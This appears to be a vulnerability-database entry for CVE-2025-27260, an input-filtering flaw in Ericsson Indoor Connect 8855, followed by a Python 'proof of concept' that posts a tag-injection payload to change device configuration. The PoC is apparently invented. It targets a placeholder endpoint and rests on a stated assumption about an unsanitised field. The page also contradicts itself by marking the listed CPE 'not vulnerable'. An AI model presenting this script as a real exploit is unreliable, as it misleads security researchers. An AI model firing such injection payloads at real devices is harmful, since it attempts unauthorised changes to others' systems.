Ericsson
Indoor Connect 8855 versions prior to 2025.Q3 contains an Improper Filtering of Special
Elements vulnerability which, if exploited, can lead to unauthorized
modification of certain information
cpe:2.3:h:ericsson:indoor_connect_8855:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ericsson Indoor Connect 8855 < 2025.Q3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Proof of Concept for CVE-2025-27260
# Target: Ericsson Indoor Connect 8855 < 2025.Q3
# Description: Improper Filtering of Special Elements leading to unauthorized modification.
target_url = "http://target-ip/api/vulnerable_endpoint" # Replace with actual target endpoint
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json"
}
# Payload attempting to inject special elements to modify data
# Example assumes a JSON field that is concatenated into a command or query without sanitization
payload = {
"config_id": "admin_settings",
"value": "original_value</parameter><malicious_parameter>attacker_controlled_value</malicious_parameter>"
}
try:
response = requests.post(target_url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully.")
print("[+] Response from server:")
print(response.text)
print("[+] Verify if the configuration has been modified on the target system.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")